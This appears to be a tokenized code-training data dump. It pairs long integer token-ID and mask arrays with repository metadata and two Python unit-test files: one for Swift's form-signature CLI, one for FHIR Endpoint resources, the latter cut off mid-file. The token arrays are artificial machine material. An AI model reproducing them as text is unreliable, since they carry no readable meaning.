1144, 4038, 18, 12, 841, 467, 359, 18, 12, 650, 467, 359, 18, 12, 499, 467, 359, 19, 12, 499, 14, 21, 2365, 283, 68, 358, 398, 327, 666, 20, 12, 666, 21, 787, 28974, 7068, 334, 3446, 8, 33, 10, 33, 358, 275, 413, 680, 267, 327, 557, 1556, 527, 744, 1077, 372, 376, 13130, 1331, 340, 2985, 787, 1202, 267, 327, 465, 314, 1642, 3634, 1423, 14, 267, 7706, 4593, 275, 980, 14, 1038, 1182, 1695, 267, 291, 14, 576, 20, 275, 980, 14, 1144, 4038, 17, 12, 378, 467, 359, 16, 12, 413, 467, 5243, 17, 12, 378, 467, 2892, 359, 16, 12, 446, 17, 2365, 283, 68, 358, 1182, 980, 14, 5079, 8, 20, 9, 267, 291, 14, 576, 21, 275, 980, 14, 1144, 4038, 1590, 14, 5197, 8, 4723, 4593, 395, 980, 14, 5911, 8, 4723, 4593, 4360, 2892, 359, 1590, 14, 5197, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 395, 3044, 980, 14, 5911, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 4360, 2892, 5243, 1590, 14, 5197, 8, 4723, 4593, 395, 3044, 446, 1590, 14, 5911, 8, 4723, 4593, 4360, 2892, 5243, 1590, 14, 5197, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 395, 3044, 446, 1590, 14, 5911, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 18037, 2892, 283, 68, 358, 1182, 980, 14, 5079, 8, 20, 9, 339, 347, 511, 63, 496, 1556, 527, 744, 8, 277, 304, 267, 327, 2295, 557, 1556, 527, 744, 7, 21255, 370, 1336, 2877, 12627, 14, 267, 327, 267, 327, 314, 3499, 3634, 365, 282, 7513, 972, 12, 31915, 12, 17923, 12, 436, 333, 27533, 1015, 267, 327, 402, 314, 1642, 12, 315, 2877, 7365, 1454, 267, 327, 267, 327, 883, 7706, 12, 15216, 12, 436, 4666, 376, 283, 44, 27716, 267, 282, 12, 330, 12, 2153, 462, 1209, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 18, 9, 267, 702, 63, 7520, 8, 66, 12, 282, 9, 267, 702, 63, 4398, 63, 1452, 8, 2297, 462, 1209, 12, 378, 4959, 398, 327, 340, 1642, 333, 2347, 365, 28974, 7068, 12, 16733, 1642, 333, 2347, 14874, 31, 267, 333, 20, 12, 333, 21, 12, 9628, 2322, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 20, 12, 291, 14, 576, 21, 9, 267, 702, 63, 1452, 8, 77, 20, 12, 291, 14, 576, 20, 9, 398, 327, 737, 1319, 270, 12, 666, 19, 365, 376, 283, 44, 7, 543, 1373, 2376, 2331, 701, 1275, 21, 267, 333, 17, 12, 333, 19, 12, 9628, 969, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 19, 9, 267, 327, 479, 2531, 13654, 969, 665, 378, 14, 21, 1011, 499, 9, 339, 347, 511, 63, 496, 1556, 527, 744, 18, 8, 277, 304, 267, 327, 557, 1556, 527, 744, 2153, 462, 1209, 1077, 440, 11687, 641, 1865, 402, 12627, 267, 333, 17, 12, 333, 19, 12, 9628, 969, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 19, 9, 267, 333, 19, 63, 18, 12, 333, 17, 63, 18, 12, 9628, 2192, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 19, 12, 291, 14, 576, 17, 9, 267, 702, 63, 4398, 63, 1452, 8, 13654, 969, 12, 9628, 2192, 9, 398, 327, 862, 543, 650, 68, 12, 1695, 21286, 1126, 267, 10261, 17, 275, 980, 14, 1144, 4038, 18, 14, 30270, 1229, 4999, 12, 378, 14, 11565, 1081, 13730, 12, 378, 14, 15722, 11240, 1479, 467, 586, 359, 16, 14, 2953, 713, 2417, 2036, 12, 446, 16, 14, 10005, 15014, 2277, 12, 446, 16, 14, 20739, 1477, 17054, 467, 586, 359, 16, 14, 32624, 8845, 1085, 12, 413, 14, 1355, 2322, 1085, 1643, 12, 446, 16, 14, 1046, 1398, 1400, 1349, 467, 586, 359, 18, 14, 31214, 4999, 19, 12, 378, 14, 8216, 5783, 2006, 12, 378, 14, 1398, 21956, 13731, 467, 586, 359, 16, 14, 1643, 2322, 1276, 2720, 12, 378, 14, 1822, 2528, 1299, 2426, 12, 378, 14, 21683, 2658, 16357, 467, 586, 359, 16, 14, 1780, 614, 2528, 708, 12, 499, 14, 1085, 1407, 821, 1020, 12, 446, 17, 14, 1822, 9969, 22719, 467, 586, 359, 16, 14, 2182, 996, 2534, 1299, 12, 413, 14, 2259, 1229, 975, 1401, 12, 378, 14, 6718, 969, 15419, 467, 586, 5243, 16, 14, 1272, 19339, 1651, 12, 378, 14, 2481, 10893, 10630, 12, 378, 14, 1196, 8762, 15601, 3934, 398, 10261, 19, 275, 980, 14, 1144, 4038, 16, 14, 27014, 1020, 1876, 12, 378, 14, 1643, 2898, 1079, 2976, 12, 446, 16, 14, 1196, 1082, 2260, 467, 586, 5243, 17, 14, 1349, 1299, 1349, 2182, 12, 446, 16, 14, 32503, 1407, 11387, 12, 446, 17, 14, 1398, 1153, 10950, 19, 467, 586, 359, 16, 14, 1822, 1644, 1085, 1229, 12, 446, 17, 14, 1276, 2720, 1342, 2766, 12, 378, 14, 25230, 8040, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aerwin3/swift
test/unit/cli/test_form_signature.py
3
3943
# -*- coding: utf-8 -*- # Copyright (c) 2014 Samuel Merritt <sam@swiftstack.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. import hashlib import hmac import mock from six import StringIO import unittest from swift.cli import form_signature class TestFormSignature(unittest.TestCase): def test_prints_signature(self): the_time = 1406143563.020043 key = 'secret squirrel' expires = 3600 path = '/v1/a/c/o' redirect = 'https://example.com/done.html' max_file_size = str(int(1024 * 1024 * 1024 * 3.14159)) # π GiB max_file_count = '3' expected_signature = hmac.new( key, "\n".join(( path, redirect, max_file_size, max_file_count, str(int(the_time + expires)))), hashlib.sha1).hexdigest() out = StringIO() with mock.patch('swift.cli.form_signature.time', lambda: the_time): with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', path, redirect, max_file_size, max_file_count, str(expires), key]) self.assertEqual(exitcode, 0) self.assertTrue("Signature: %s" % expected_signature in out.getvalue()) self.assertTrue("Expires: %d" % (the_time + expires,) in out.getvalue()) sig_input = ('<input type="hidden" name="signature" value="%s" />' % expected_signature) self.assertTrue(sig_input in out.getvalue()) def test_too_few_args(self): out = StringIO() with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', '/v1/a/c/o', '', '12', '34', '3600']) self.assertNotEqual(exitcode, 0) usage = 'Syntax: swift-form-signature <path>' self.assertTrue(usage in out.getvalue()) def test_invalid_filesize_arg(self): out = StringIO() key = 'secret squirrel' with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', '/v1/a/c/o', '', '-1', '34', '3600', key]) self.assertNotEqual(exitcode, 0) def test_invalid_filecount_arg(self): out = StringIO() key = 'secret squirrel' with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', '/v1/a/c/o', '', '12', '-34', '3600', key]) self.assertNotEqual(exitcode, 0) def test_invalid_path_arg(self): out = StringIO() key = 'secret squirrel' with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', '/v1/a/', '', '12', '34', '3600', key]) self.assertNotEqual(exitcode, 0) def test_invalid_seconds_arg(self): out = StringIO() key = 'secret squirrel' with mock.patch('sys.stdout', out): exitcode = form_signature.main([ '/path/to/swift-form-signature', '/v1/a/c/o', '', '12', '34', '-922337203685477580799999999999999', key]) self.assertNotEqual(exitcode, 0) if __name__ == '__main__': unittest.main()
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 334, 67, 9, 6927, 428, 455, 13086, 18880, 322, 6215, 665, 21660, 32, 13215, 2340, 14, 957, 30, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 199, 3, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 8337, 199, 646, 20330, 199, 646, 1683, 199, 504, 3816, 492, 5228, 199, 646, 2882, 199, 199, 504, 16275, 14, 2764, 492, 1824, 63, 5233, 421, 199, 533, 1379, 2821, 10014, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 29593, 63, 5233, 8, 277, 304, 267, 314, 63, 521, 275, 4329, 1690, 1079, 1276, 2766, 14, 24215, 2824, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 12261, 275, 15751, 267, 931, 275, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 7, 267, 4660, 275, 283, 2859, 921, 2694, 14, 957, 15, 4456, 14, 1360, 7, 267, 1390, 63, 493, 63, 890, 275, 620, 8, 442, 8, 7727, 627, 6619, 627, 6619, 627, 650, 14, 1079, 9327, 430, 221, 327, 221, 22955, 598, 17587, 267, 1390, 63, 493, 63, 835, 275, 283, 19, 7, 398, 1420, 63, 5233, 275, 20330, 14, 1222, 8, 288, 790, 12, 288, 1867, 78, 1674, 904, 1332, 355, 931, 12, 4660, 12, 1390, 63, 493, 63, 890, 12, 1390, 63, 493, 63, 835, 12, 355, 620, 8, 442, 8, 1589, 63, 521, 435, 12261, 1724, 395, 288, 8337, 14, 4835, 17, 680, 11453, 342, 398, 734, 275, 5228, 342, 267, 543, 1683, 14, 2068, 360, 13215, 14, 2764, 14, 964, 63, 5233, 14, 521, 297, 2400, 26, 314, 63, 521, 304, 288, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 355, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 490, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 490, 931, 12, 4660, 12, 1390, 63, 493, 63, 890, 12, 490, 1390, 63, 493, 63, 835, 12, 620, 8, 12342, 395, 790, 566, 398, 291, 14, 629, 8, 2224, 600, 12, 378, 9, 267, 291, 14, 1815, 480, 10014, 26, 450, 83, 2, 450, 1420, 63, 5233, 717, 315, 734, 14, 7150, 1012, 267, 291, 14, 1815, 480, 14000, 470, 26, 450, 68, 2, 450, 334, 1589, 63, 521, 435, 12261, 4258, 717, 315, 734, 14, 7150, 1012, 398, 5259, 63, 1210, 275, 19990, 1210, 730, 628, 5642, 2, 536, 628, 5233, 2, 574, 5961, 83, 2, 22294, 2151, 450, 1420, 63, 5233, 9, 267, 291, 14, 1815, 8, 4093, 63, 1210, 315, 734, 14, 7150, 1012, 339, 347, 511, 63, 7354, 63, 70, 546, 63, 589, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 283, 1082, 297, 283, 11035, 1105, 398, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 267, 4503, 275, 283, 16626, 26, 16275, 13, 964, 13, 5233, 665, 515, 3524, 267, 291, 14, 1815, 8, 3807, 315, 734, 14, 7150, 1012, 339, 347, 511, 63, 3197, 63, 19233, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 2475, 17, 297, 283, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 493, 835, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 2475, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 515, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 3678, 3260, 283, 713, 297, 283, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 4515, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 283, 1082, 297, 355, 2475, 23861, 32417, 11369, 13453, 20036, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 199, 199, 692, 636, 354, 363 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 334, 67, 9, 6927, 428, 455, 13086, 18880, 322, 6215, 665, 21660, 32, 13215, 2340, 14, 957, 30, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 199, 3, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 8337, 199, 646, 20330, 199, 646, 1683, 199, 504, 3816, 492, 5228, 199, 646, 2882, 199, 199, 504, 16275, 14, 2764, 492, 1824, 63, 5233, 421, 199, 533, 1379, 2821, 10014, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 29593, 63, 5233, 8, 277, 304, 267, 314, 63, 521, 275, 4329, 1690, 1079, 1276, 2766, 14, 24215, 2824, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 12261, 275, 15751, 267, 931, 275, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 7, 267, 4660, 275, 283, 2859, 921, 2694, 14, 957, 15, 4456, 14, 1360, 7, 267, 1390, 63, 493, 63, 890, 275, 620, 8, 442, 8, 7727, 627, 6619, 627, 6619, 627, 650, 14, 1079, 9327, 430, 221, 327, 221, 22955, 598, 17587, 267, 1390, 63, 493, 63, 835, 275, 283, 19, 7, 398, 1420, 63, 5233, 275, 20330, 14, 1222, 8, 288, 790, 12, 288, 1867, 78, 1674, 904, 1332, 355, 931, 12, 4660, 12, 1390, 63, 493, 63, 890, 12, 1390, 63, 493, 63, 835, 12, 355, 620, 8, 442, 8, 1589, 63, 521, 435, 12261, 1724, 395, 288, 8337, 14, 4835, 17, 680, 11453, 342, 398, 734, 275, 5228, 342, 267, 543, 1683, 14, 2068, 360, 13215, 14, 2764, 14, 964, 63, 5233, 14, 521, 297, 2400, 26, 314, 63, 521, 304, 288, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 355, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 490, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 490, 931, 12, 4660, 12, 1390, 63, 493, 63, 890, 12, 490, 1390, 63, 493, 63, 835, 12, 620, 8, 12342, 395, 790, 566, 398, 291, 14, 629, 8, 2224, 600, 12, 378, 9, 267, 291, 14, 1815, 480, 10014, 26, 450, 83, 2, 450, 1420, 63, 5233, 717, 315, 734, 14, 7150, 1012, 267, 291, 14, 1815, 480, 14000, 470, 26, 450, 68, 2, 450, 334, 1589, 63, 521, 435, 12261, 4258, 717, 315, 734, 14, 7150, 1012, 398, 5259, 63, 1210, 275, 19990, 1210, 730, 628, 5642, 2, 536, 628, 5233, 2, 574, 5961, 83, 2, 22294, 2151, 450, 1420, 63, 5233, 9, 267, 291, 14, 1815, 8, 4093, 63, 1210, 315, 734, 14, 7150, 1012, 339, 347, 511, 63, 7354, 63, 70, 546, 63, 589, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 283, 1082, 297, 283, 11035, 1105, 398, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 267, 4503, 275, 283, 16626, 26, 16275, 13, 964, 13, 5233, 665, 515, 3524, 267, 291, 14, 1815, 8, 3807, 315, 734, 14, 7150, 1012, 339, 347, 511, 63, 3197, 63, 19233, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 2475, 17, 297, 283, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 493, 835, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 2475, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 515, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 3678, 3260, 283, 713, 297, 283, 1082, 297, 283, 11035, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 339, 347, 511, 63, 3197, 63, 4515, 63, 1273, 8, 277, 304, 267, 734, 275, 5228, 342, 267, 790, 275, 283, 4731, 12345, 723, 3369, 7, 267, 543, 1683, 14, 2068, 360, 1274, 14, 2703, 297, 734, 304, 288, 4458, 600, 275, 1824, 63, 5233, 14, 973, 779, 355, 1994, 515, 15, 475, 15, 13215, 13, 964, 13, 5233, 297, 355, 1994, 86, 17, 15, 65, 15, 67, 15, 79, 297, 3260, 283, 713, 297, 283, 1082, 297, 355, 2475, 23861, 32417, 11369, 13453, 20036, 297, 790, 566, 267, 291, 14, 7418, 8, 2224, 600, 12, 378, 9, 199, 199, 692, 636, 354, 363, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
all-of-us/raw-data-repository
rdr_service/lib_fhir/fhirclient_4_0_0/models/endpoint_tests.py
1
6296
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated from FHIR 4.0.0-a53ec6ee1b on 2019-05-07. # 2019, SMART Health IT. import os import io import unittest import json from . import endpoint from .fhirdate import FHIRDate class EndpointTests(unittest.TestCase): def instantiate_from(self, filename): datadir = os.environ.get('FHIR_UNITTEST_DATADIR') or '' with io.open(os.path.join(datadir, filename), 'r', encoding='utf-8') as handle: js = json.load(handle) self.assertEqual("Endpoint", js["resourceType"]) return endpoint.Endpoint(js) def testEndpoint1(self): inst = self.instantiate_from("endpoint-example-iid.json") self.assertIsNotNone(inst, "Must have instantiated a Endpoint instance") self.implEndpoint1(inst) js = inst.as_json() self.assertEqual("Endpoint", js["resourceType"]) inst2 = endpoint.Endpoint(js) self.implEndpoint1(inst2) def implEndpoint1(self, inst): self.assertEqual(inst.address, "https://pacs.hospital.org/IHEInvokeImageDisplay") self.assertEqual(inst.connectionType.code, "ihe-iid") self.assertEqual(inst.connectionType.system, "http://terminology.hl7.org/CodeSystem/endpoint-connection-type") self.assertEqual(inst.id, "example-iid") self.assertEqual(inst.meta.tag[0].code, "HTEST") self.assertEqual(inst.meta.tag[0].display, "test health data") self.assertEqual(inst.meta.tag[0].system, "http://terminology.hl7.org/CodeSystem/v3-ActReason") self.assertEqual(inst.name, "PACS Hospital Invoke Image Display endpoint") self.assertEqual(inst.payloadType[0].text, "DICOM IID") self.assertEqual(inst.status, "active") self.assertEqual(inst.text.status, "generated") def testEndpoint2(self): inst = self.instantiate_from("endpoint-example-direct.json") self.assertIsNotNone(inst, "Must have instantiated a Endpoint instance") self.implEndpoint2(inst) js = inst.as_json() self.assertEqual("Endpoint", js["resourceType"]) inst2 = endpoint.Endpoint(js) self.implEndpoint2(inst2) def implEndpoint2(self, inst): self.assertEqual(inst.address, "mailto:MARTIN.SMIETANKA@directnppes.com") self.assertEqual(inst.connectionType.code, "direct-project") self.assertEqual(inst.id, "direct-endpoint") self.assertEqual(inst.meta.tag[0].code, "HTEST") self.assertEqual(inst.meta.tag[0].display, "test health data") self.assertEqual(inst.meta.tag[0].system, "http://terminology.hl7.org/CodeSystem/v3-ActReason") self.assertEqual(inst.name, "MARTIN SMIETANKA") self.assertEqual(inst.payloadType[0].coding[0].code, "urn:hl7-org:sdwg:ccda-structuredBody:1.1") self.assertEqual(inst.payloadType[0].coding[0].system, "urn:oid:1.3.6.1.4.1.19376.1.2.3") self.assertEqual(inst.status, "active") self.assertEqual(inst.text.status, "generated") def testEndpoint3(self): inst = self.instantiate_from("endpoint-example-wadors.json") self.assertIsNotNone(inst, "Must have instantiated a Endpoint instance") self.implEndpoint3(inst) js = inst.as_json() self.assertEqual("Endpoint", js["resourceType"]) inst2 = endpoint.Endpoint(js) self.implEndpoint3(inst2) def implEndpoint3(self, inst): self.assertEqual(inst.address, "https://pacs.hospital.org/wado-rs") self.assertEqual(inst.connectionType.code, "dicom-wado-rs") self.assertEqual(inst.connectionType.system, "http://terminology.hl7.org/CodeSystem/endpoint-connection-type") self.assertEqual(inst.id, "example-wadors") self.assertEqual(inst.meta.tag[0].code, "HTEST") self.assertEqual(inst.meta.tag[0].display, "test health data") self.assertEqual(inst.meta.tag[0].system, "http://terminology.hl7.org/CodeSystem/v3-ActReason") self.assertEqual(inst.name, "PACS Hospital DICOM WADO-RS endpoint") self.assertEqual(inst.payloadMimeType[0], "application/dicom") self.assertEqual(inst.payloadType[0].text, "DICOM WADO-RS") self.assertEqual(inst.status, "active") self.assertEqual(inst.text.status, "generated") def testEndpoint4(self): inst = self.instantiate_from("endpoint-example.json") self.assertIsNotNone(inst, "Must have instantiated a Endpoint instance") self.implEndpoint4(inst) js = inst.as_json() self.assertEqual("Endpoint", js["resourceType"]) inst2 = endpoint.Endpoint(js) self.implEndpoint4(inst2) def implEndpoint4(self, inst): self.assertEqual(inst.address, "http://fhir3.healthintersections.com.au/open/CarePlan") self.assertEqual(inst.connectionType.code, "hl7-fhir-rest") 